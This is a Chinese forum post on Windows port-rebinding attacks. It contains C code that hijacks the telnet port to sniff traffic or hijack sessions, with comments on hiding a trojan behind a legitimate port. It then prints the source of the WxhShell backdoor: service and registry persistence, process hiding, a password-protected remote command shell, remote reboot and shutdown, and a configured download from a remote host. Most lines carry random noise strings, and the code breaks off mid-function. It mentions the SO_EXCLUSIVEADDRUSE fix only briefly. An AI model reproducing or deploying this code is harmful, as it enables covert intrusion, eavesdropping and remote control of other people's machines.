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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b `}hw"f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~fzuz'"^  
dQAF;L  
  saddr.sin_family = AF_INET; vIZFI  
H;DjM;be  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )(c%QWz  
Df]*S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jfam/LL{V  
92N`Q}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hM=X# ;  
g:6 `1C  
  这意味着什么?意味着可以进行如下的攻击: mgodvX  
dl`{:ZR S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )t:8;;W@Ir  
wS >S\,LV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~at:\h4:  
rd=+[:7L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 THgEHR0,}[  
~~m(CJ4S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5aXE^.`  
e)87 & 7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d7:=axo,  
g; 7u-nP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "x0KiIoPk  
1F+JyZK}w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w02C1oGfx  
$ERiBALN:  
  #include k%aJ%(  
  #include /xB O;'rR  
  #include K `A8N  
  #include    s3K!~v\L]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Blj<|\ igc  
  int main() >Nx4 +|  
  { c'5ls7?}O{  
  WORD wVersionRequested; WYkh'sv >  
  DWORD ret; lB8g D  
  WSADATA wsaData; ocZ^rqo2w  
  BOOL val; 6fC Hd10!  
  SOCKADDR_IN saddr; hf7[<I,jov  
  SOCKADDR_IN scaddr; o*oFCR]j  
  int err; 9o3?  
  SOCKET s; #qK5i1<  
  SOCKET sc; \BO6.;jA  
  int caddsize; rD9:4W`^  
  HANDLE mt; 0F 2p4!@W  
  DWORD tid;   /a6i`  
  wVersionRequested = MAKEWORD( 2, 2 ); "z_},TCy  
  err = WSAStartup( wVersionRequested, &wsaData ); *>xCX  
  if ( err != 0 ) { .>LJ(Sx9b  
  printf("error!WSAStartup failed!\n"); [X>f;;h  
  return -1; 0]^gT'  
  } ofPv?_@  
  saddr.sin_family = AF_INET; 2(Aw  
    _~S[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $ ?|;w,%I  
$R:Q R?   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m1xR uj]  
  saddr.sin_port = htons(23); imKMPO=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^MG"n7)X  
  { 0sB[]E|7[s  
  printf("error!socket failed!\n"); jdx T662q  
  return -1; X}g3[  
  } [khXAf1{Q  
  val = TRUE; Y%>u.HzL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kv;P2:"|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tf[)| /M  
  { *d PbV.HCl  
  printf("error!setsockopt failed!\n"); }]JHY P\  
  return -1; !%.=35NS@E  
  } > `0mn|+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T)',}=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ExeZj8U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dcyHp>\)|  
(L(n%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aPQxpK?  
  { l,zhBnD  
  ret=GetLastError(); qB&Je$_uh  
  printf("error!bind failed!\n"); O~Bh(_R&  
  return -1; !e*T. 1Kz  
  } NCl@C$W9q  
  listen(s,2); 5L_`Fw\l  
  while(1) o$rF-?  
  { W+$G{XSr5C  
  caddsize = sizeof(scaddr); 0=K8 nxdx  
  //接受连接请求 +w"?q'SnF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d`=LZio  
  if(sc!=INVALID_SOCKET) t[@>u'YKt  
  { DuIXv7"[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p@[ fZj  
  if(mt==NULL) AWKJ@&pA9m  
  { ou- uZ"$,c  
  printf("Thread Creat Failed!\n"); ={+8jQqi1  
  break; KHgn  
  } xc\zRsY`  
  } 't5`Ni  
  CloseHandle(mt); N"suR}9%  
  } lk[Y6yE  
  closesocket(s); >?rMMR+A  
  WSACleanup(); ic"8'Rwb  
  return 0; >P&1or)e%  
  }   I~&9c/&  
  DWORD WINAPI ClientThread(LPVOID lpParam) Iy&,1CI"]  
  { aB?usVoS  
  SOCKET ss = (SOCKET)lpParam; (<8}un  
  SOCKET sc; `E?0jQ  
  unsigned char buf[4096]; Kf*Dy:e  
  SOCKADDR_IN saddr; w6WPfy(/2  
  long num; ,isjiy J  
  DWORD val; {]Hv*{ ]  
  DWORD ret; \"Y,1in#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [uLs M<C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y#tur`N  
  saddr.sin_family = AF_INET; PMV,*`"9"A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zsJermF,O  
  saddr.sin_port = htons(23); ^gZ,A]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]bY]YNt{7]  
  { :dAd5v2f  
  printf("error!socket failed!\n"); x +pf@?w  
  return -1; +yHz7^6-5  
  } ]z/R?SM  
  val = 100; 13`Mt1R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qq]Iy=  
  { UL{J%Ze=~  
  ret = GetLastError(); m<#12#D  
  return -1; %S}uCqcAK  
  } 6CIzT.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JcA+ztPU  
  { ~"CGur P  
  ret = GetLastError(); $[n:IDa*@1  
  return -1; +8T^q,  
  } "cPg_-n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y{>f^S<  
  { (Y@T5-!D  
  printf("error!socket connect failed!\n"); '.(Gg%*\.  
  closesocket(sc); rUj\F9*5#  
  closesocket(ss); yy7(')wKO  
  return -1; Z,A$h>Z  
  } Oo}h:3?  
  while(1) ^hmV?a:Y  
  { oDz|%N2s|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DylO;+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 czuIs|_K*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AcPLJ!y  
  num = recv(ss,buf,4096,0); JfIXv  
  if(num>0) N8{jvat  
  send(sc,buf,num,0); j)?M  
  else if(num==0) !i^"3!.l,]  
  break; iM)K:L7d  
  num = recv(sc,buf,4096,0); 5M0Q'"`F:  
  if(num>0) 'z(Y9%+a  
  send(ss,buf,num,0); ?K>)bA&l'  
  else if(num==0) Q=`yPK>{$N  
  break; $Es\ld  
  } m9DFnk<D  
  closesocket(ss); oLT#'42+H  
  closesocket(sc); &*=!B9OBI  
  return 0 ; IR6W'vA  
  } E1eGZ&&Gd  
%^IQ<   
e0zP LU}  
========================================================== mH&7{2r  
<+oh\y16  
下边附上一个代码,,WXhSHELL i6'=]f'{  
K381B5_h  
==========================================================  ES~b f  
f+cb83}n]  
#include "stdafx.h" aDF@A S  
  3%kUj  
#include <stdio.h> ("2X8(3z  
#include <string.h> '[ t.  
#include <windows.h> _;j1g%  
#include <winsock2.h> *#T: _  
#include <winsvc.h> >GGM76vB=,  
#include <urlmon.h> mr\,"S-`  
xsZG(Tz  
#pragma comment (lib, "Ws2_32.lib") e*7O!Z=O  
#pragma comment (lib, "urlmon.lib") .xJ54Vz  
"lh4Vg\7n  
#define MAX_USER   100 // 最大客户端连接数 _z@/~M(  
#define BUF_SOCK   200 // sock buffer Lv%3 jj  
#define KEY_BUFF   255 // 输入 buffer 3 7BSJ   
qVC+q8  
#define REBOOT     0   // 重启 [ohLG_9  
#define SHUTDOWN   1   // 关机 ,hn#DJ)  
q`*.F#/4c  
#define DEF_PORT   5000 // 监听端口 Nk7y2[  
$6rm;UH  
#define REG_LEN     16   // 注册表键长度 |?T=4~b  
#define SVC_LEN     80   // NT服务名长度 jJ#D`iog5  
"ko*-FrQ  
// 从dll定义API A8'RM F1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); COh#/-`\1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]-\68bN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @xWWN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?Q"andf  
1&boD\ 7  
// wxhshell配置信息 )'+[,z ;s  
struct WSCFG { D6bYg `  
  int ws_port;         // 监听端口 vi##E0,N'^  
  char ws_passstr[REG_LEN]; // 口令 iB)\* )  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1-y8Hy_a2  
  char ws_regname[REG_LEN]; // 注册表键名 d A)T>  
  char ws_svcname[REG_LEN]; // 服务名 Y#F.{ i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ##jJa SxG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )> ZT{eF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NXOXN]=c<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t% qep|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~+\=X`y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F$t]JM  
,JwX*L<:  
}; rI$NNk'A  
x=DxD&I!J  
// default Wxhshell configuration |4@cX<d.  
struct WSCFG wscfg={DEF_PORT, K#OL/2^ 5  
    "xuhuanlingzhe", qyRN0ZB"A^  
    1, kY]"3a  
    "Wxhshell", Mq0MtC6-  
    "Wxhshell", :E")Zw&sW3  
            "WxhShell Service", :rb;*nY!  
    "Wrsky Windows CmdShell Service", PysDDU}v  
    "Please Input Your Password: ", rUKg<]&@  
  1, \TP$2i%W  
  "http://www.wrsky.com/wxhshell.exe", %+'Ex]B  
  "Wxhshell.exe" ("a@V8M`$F  
    }; }d. X2?  
tX^6R  
// 消息定义模块 _^_3>}y5op  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x;?8Zr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 89M'klZ   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EDnNS  
char *msg_ws_ext="\n\rExit."; .)/ ."V  
char *msg_ws_end="\n\rQuit."; YrL(4 Nt8  
char *msg_ws_boot="\n\rReboot..."; UwUHB~<oE  
char *msg_ws_poff="\n\rShutdown..."; V*n$$-5 1-  
char *msg_ws_down="\n\rSave to "; 63E6nW M  
iy~h|YK;  
char *msg_ws_err="\n\rErr!"; !.UE}^TV  
char *msg_ws_ok="\n\rOK!"; 5t%8y!s  
uw3vYYFX  
char ExeFile[MAX_PATH]; 7^i7U-A<A  
int nUser = 0; WWp MuB_G  
HANDLE handles[MAX_USER]; ZLzc\>QX  
int OsIsNt; =2$ ( tXL  
LuySa2 ,  
SERVICE_STATUS       serviceStatus; a#]V|1*O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uB)q1QQsqp  
&5y  
// 函数声明 \ ITd\)F%N  
int Install(void); Cf(WO-F^  
int Uninstall(void); qWH^/o  
int DownloadFile(char *sURL, SOCKET wsh); 4`8s]X  
int Boot(int flag); %np(z&@wi  
void HideProc(void); uF<34  
int GetOsVer(void); T+L=GnYl  
int Wxhshell(SOCKET wsl); 2OoANiX  
void TalkWithClient(void *cs); :a{dWgN  
int CmdShell(SOCKET sock); {dxFd-K3  
int StartFromService(void); AE:(:U\  
int StartWxhshell(LPSTR lpCmdLine); 9]v,3'QI  
\Vme\Ke*v)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bD{tsxm[9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); anSZWQ  
:!_l@=l  
// 数据结构和表定义 =0?5hxMd  
SERVICE_TABLE_ENTRY DispatchTable[] = '1D $ ;  
{ &.E/%pQ`  
{wscfg.ws_svcname, NTServiceMain}, l<1zLA~G  
{NULL, NULL} _>vH%FY  
}; )n)AmNpq   
Gy \ ]j  
// 自我安装 ,marNG  
int Install(void) n{N0S^h  
{ PPl o0R  
  char svExeFile[MAX_PATH]; no8\Oees  
  HKEY key; 4^r6RS@z  
  strcpy(svExeFile,ExeFile); 9}QIqH\p  
_]@u)$  
// 如果是win9x系统,修改注册表设为自启动 .I>rX#aNt  
if(!OsIsNt) { )Lz =[e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 C)VW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EmaS/]X[  
  RegCloseKey(key); `V9bd}M%~;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WSMpX -^e@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JOG- i  
  RegCloseKey(key); ;"cQ)=s9Y  
  return 0; z00X ?F  
    } ^.:&ZsqV  
  } SZXSVz0j  
} ^1~lnD~0  
else { ?GH/W#{o)  
3ibQbk  
// 如果是NT以上系统,安装为系统服务 \FfqIc9;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hY!ek;/Gc  
if (schSCManager!=0) T;3qE1c  
{ AS]8rH  
  SC_HANDLE schService = CreateService Lxv;[2XsW)  
  ( sSfP.R  
  schSCManager, DTH}=r-  
  wscfg.ws_svcname, C-A? mIC  
  wscfg.ws_svcdisp, d`TiY`!  
  SERVICE_ALL_ACCESS, cWo>DuW&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v {r%/*  
  SERVICE_AUTO_START, ?,x\46]>_K  
  SERVICE_ERROR_NORMAL, Yr"Of*VNH  
  svExeFile, Q3%]  
  NULL, $1B?@~&  
  NULL, UF^[?M =  
  NULL, Y=|p}>.}  
  NULL, V|@bITJ?7  
  NULL hBRi5&%  
  ); D N)o|p  
  if (schService!=0) C-S>'\ |8  
  { ;Q,t65+Am  
  CloseServiceHandle(schService); ,+ IFV  
  CloseServiceHandle(schSCManager); 1K#[Ef4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CyLwCS{V\  
  strcat(svExeFile,wscfg.ws_svcname); Eoixw8hz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &k,DAx`rN;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]e),#_M  
  RegCloseKey(key);  ?;v\wx  
  return 0; 6)0.q|Q  
    } ),vDn}>  
  } Q*I8RAfd  
  CloseServiceHandle(schSCManager); hDTC~~J/  
} $ c-O+~  
} Ph]b6  
Bk3\NPa  
return 1; p~3 x=X4  
} 9tv,,I;iU  
L,.~VNy-  
// 自我卸载 @*<0:Q|m  
int Uninstall(void) >U`G3(#7S  
{ _p4]\LA  
  HKEY key; vE^tdzAG  
O6/ vFEB  
if(!OsIsNt) { 6d/Q"As  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O<Q8%Az  
  RegDeleteValue(key,wscfg.ws_regname); g/f6N z  
  RegCloseKey(key); 17?YN<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Ja].hP  
  RegDeleteValue(key,wscfg.ws_regname); ^wWbW&<Tg  
  RegCloseKey(key); o$</At  
  return 0; +'c+X^_  
  } q 0F6MAXj  
} %H\J@{f  
} .,z6a  
else { b9X*2pnWJ  
-->0e{y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H}kSXKO8!8  
if (schSCManager!=0) 3%?tUt  
{ \X&8EW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C^L xuUW  
  if (schService!=0) -c]AS[(  
  { {rR(K"M  
  if(DeleteService(schService)!=0) { 2lsUCQI;  
  CloseServiceHandle(schService); hm73Zy  
  CloseServiceHandle(schSCManager); vb]kh _  
  return 0; :sg}e  
  } T%)E!:}v  
  CloseServiceHandle(schService); <7Pp98si,u  
  } @T\n@M]  
  CloseServiceHandle(schSCManager); wxvi)|)  
} GKo&?Tj)  
} SdYf^@%}F  
Kb(11$U  
return 1; 4{kH;~ z$  
} D BHy%i  
{7goYzQsi%  
// 从指定url下载文件 d)vP9vXy  
int DownloadFile(char *sURL, SOCKET wsh) \PE;R.v_:  
{ ia'z9  
  HRESULT hr; KCTX2eNN&h  
char seps[]= "/"; W#<1504ip  
char *token; \i_E}Ii0  
char *file; @Iz]:@\cJ  
char myURL[MAX_PATH]; p5#x7*xR6  
char myFILE[MAX_PATH]; z;S-Q,  
Io.RT+slB  
strcpy(myURL,sURL); kh0cJE\_^  
  token=strtok(myURL,seps); +>q#eUS)  
  while(token!=NULL) \nZB@u;S  
  { %)r ~GCd  
    file=token; C")genMH  
  token=strtok(NULL,seps); mF*x&^ie  
  } b4_0XmL  
{=[>N>"  
GetCurrentDirectory(MAX_PATH,myFILE); @zg}x0]  
strcat(myFILE, "\\"); _f[Q\gK  
strcat(myFILE, file); H\S)a FY[  
  send(wsh,myFILE,strlen(myFILE),0); i 6G40!G=)  
send(wsh,"...",3,0); yc](  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P'Rw/c o  
  if(hr==S_OK) ;>?h/tS6  
return 0; Z0Z6a Zeb  
else }S/i3$F0~  
return 1; y'_8b=*  
n"EKVw7Y  
} "@UQSf,  
~ 29p|X<  
// 系统电源模块 x z _sejKB  
int Boot(int flag) Py)ZHML  
{ F[jE#M=k  
  HANDLE hToken; &P?2H66s  
  TOKEN_PRIVILEGES tkp; {6'X z  
q\0/6tl_  
  if(OsIsNt) { !__0Vk[s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j!u)V1,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &N7ji  
    tkp.PrivilegeCount = 1; bKo %Ak,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t7+A !7b{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eTuqK23  
if(flag==REBOOT) { (>v'0 RA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g@`i7qN  
  return 0; Q7s@,c!m_  
} 3 t,_{9  
else { cSb;a\el$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  $GJT  
  return 0; Qz~uD'Rs/  
} =gB5JB<}2  
  } {a7~P0$  
  else { ~r--dU  
if(flag==REBOOT) { B 71/nt9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L:G#>  
  return 0; A]z*#+Sl  
} fvkcJwkc  
else { ux;?WPyr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cl4E6\?z  
  return 0; <)VgGjZ-H  
} /at7 H!  
} $83B10OQ&L  
X]0>0=^  
return 1; (`tRJWbdz  
} lE:g A,  
AJPvwu}D  
// win9x进程隐藏模块 JB_fS/I  
void HideProc(void) l:85 _E  
{ $]v}X},,  
.JhQxXj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *3GV9'-P  
  if ( hKernel != NULL ) !|cg=  
  { }Z!D?(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K+B978XD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9njwAKF?  
    FreeLibrary(hKernel); +&EXTZ@o  
  } *IG$"nu  
{Mx(|)WkL  
return; 6  63o  
} c`;\sW-_W  
IrLGAQ0  
// 获取操作系统版本 UtZ,q!sg  
int GetOsVer(void) sibYJKOy  
{ !IxO''4  
  OSVERSIONINFO winfo; tK#R`AQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rj8%% G-pt  
  GetVersionEx(&winfo); #&Sr;hAJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {@Mr7*u  
  return 1; )Fw/Cu  
  else {T){!UVp!  
  return 0; 0#q=-M/?`  
} 7s9h:/Lu  
v3tJtb^'!  
// 客户端句柄模块 [K!9xM6  
int Wxhshell(SOCKET wsl) op,L3:R\Z  
{ 0XHQ 5+"8  
  SOCKET wsh; UM}u(;oo%)  
  struct sockaddr_in client; F L0uY0K  
  DWORD myID; M`xiC  
f8 d 3ZK  
  while(nUser<MAX_USER) s27IeF3  
{ LF<&gC  
  int nSize=sizeof(client); 2G8pDvBr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GK(CuwJe  
  if(wsh==INVALID_SOCKET) return 1; F MfpjuHk  
 Cs,H#L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xlo7enzY  
if(handles[nUser]==0) :|7#D,2  
  closesocket(wsh); ]BQYVx/  
else <=uYfi3,  
  nUser++; 4ls:BO;k]  
  } enoj4g7em^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D7Q+w  
&y[NC AeA  
  return 0; +2tQ FV;  
} f0<zK !  
O 4 !$  
// 关闭 socket {K(mfTqm  
void CloseIt(SOCKET wsh) |s|}u`(@9  
{ #cbgp;,M{I  
closesocket(wsh); 2[E wN!IZ  
nUser--; _n&Nw7d2 M  
ExitThread(0); `i7r]  
} w =^.ICyb@  
:Pud%}'  
// 客户端请求句柄 "4j~2{{ F  
void TalkWithClient(void *cs) GK?ual1  
{ h}bfZL  
0.aXg"  
  SOCKET wsh=(SOCKET)cs; 2*Z2uV^  
  char pwd[SVC_LEN]; rIb+c=|F  
  char cmd[KEY_BUFF]; QFh1sb)]d)  
char chr[1]; nHK(3Z4G  
int i,j; 8:cbr/F<  
GW2\YU^{  
  while (nUser < MAX_USER) { &&ioGy}1  
[P$Xr6#  
if(wscfg.ws_passstr) { >J"IN I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jX53 owZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4=PjS<Lu8  
  //ZeroMemory(pwd,KEY_BUFF); M  .#}  
      i=0; Z\0Rw>#  
  while(i<SVC_LEN) { 37AVk`a  
Sn CwoxK  
  // 设置超时 *4,Q9K_  
  fd_set FdRead; #h5:b`fDF  
  struct timeval TimeOut;  7WJ \nK  
  FD_ZERO(&FdRead); XxqGsGx4  
  FD_SET(wsh,&FdRead); De$AJl  
  TimeOut.tv_sec=8; igO>)XbsM  
  TimeOut.tv_usec=0; PK*Wu<<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z9{~t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3G} )$y3m  
Z:4/lx7Bq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ZR.k'  
  pwd=chr[0]; ^@fD{]I  
  if(chr[0]==0xd || chr[0]==0xa) { V>6klA}o  
  pwd=0; CK* * RZ  
  break; F!z0N&#  
  } G5ATR<0m  
  i++; y]9R#\P/  
    } dab]>% M  
wAu[pWD'6;  
  // 如果是非法用户,关闭 socket P('t6MVl T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (lN;xT`=  
} L`jB)wF /J  
3_L1Wm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P^8^1-b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^$=tcoQG  
.lvI8Jf~X  
while(1) { [Y22Wi  
jB%"AvIX  
  ZeroMemory(cmd,KEY_BUFF); A-a17}fta  
r*6"'W>c6  
      // 自动支持客户端 telnet标准   ;V(H7 ZM  
  j=0; >,>;)B@J  
  while(j<KEY_BUFF) { F<yy>Wf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dU ,)TKQ  
  cmd[j]=chr[0]; $bZu^d,  
  if(chr[0]==0xa || chr[0]==0xd) { &\1'1`N1  
  cmd[j]=0; \-Iny=$  
  break; ,pyQP^u-  
  } ~*7O(8  
  j++; Jt2,LL:G  
    } CJ9cCtA  
b|sc'eP#?  
  // 下载文件 @PPR$4  
  if(strstr(cmd,"http://")) { !Tn0M;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y Y>-MoF/t  
  if(DownloadFile(cmd,wsh)) 1 [Sv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YVB% kKv{  
  else W!/vm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L289'Gzg  
  } ~LawF_]6  
  else { IjG5X[@  
/~i.\^HX  
    switch(cmd[0]) { Gr5`1`8|  
  0).fBBNG  
  // 帮助 T!l mO?Q  
  case '?': { [3j$ 4rP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cT-K@dg  
    break; 3yTQ  
  } M!N` Orz  
  // 安装 4 ,p#:!  
  case 'i': {  r=fE8[,  
    if(Install()) !uWxRpT,7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -|m$YrzG  
    else #_.g2 Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mn]}s:v  
    break; G*i.a*9<)  
    } ?SC3Vzr  
  // 卸载 Q0V^PDF  
  case 'r': { }FPM-M3y  
    if(Uninstall()) {UB%(E[Mr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HUj+-  
    else [O^}rUqq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <1aa~duT  
    break; uuu\f*<  
    } IWAj Mwo  
  // 显示 wxhshell 所在路径 %6AYCN?Ih  
  case 'p': { UhsO\9}qH  
    char svExeFile[MAX_PATH]; 7dSh3f!  
    strcpy(svExeFile,"\n\r"); g-."sniP$g  
      strcat(svExeFile,ExeFile); p1Q/g Il  
        send(wsh,svExeFile,strlen(svExeFile),0); W|;nJs:e  
    break; 0/ut:RV0  
    } fC_zX}3  
  // 重启 qh%i5Mu  
  case 'b': { y:Z$LmPc<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); __ 8&Jv\  
    if(Boot(REBOOT)) %fHH{60  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7g-Dfg.w  
    else { );=Q] >  
    closesocket(wsh); I?^aCnU  
    ExitThread(0); R;WW f.#  
    } 'r~8  
    break; P"b8!k?  
    } /K f L+"^|  
  // 关机 Fav?,Q,n  
  case 'd': { UL&} s_  
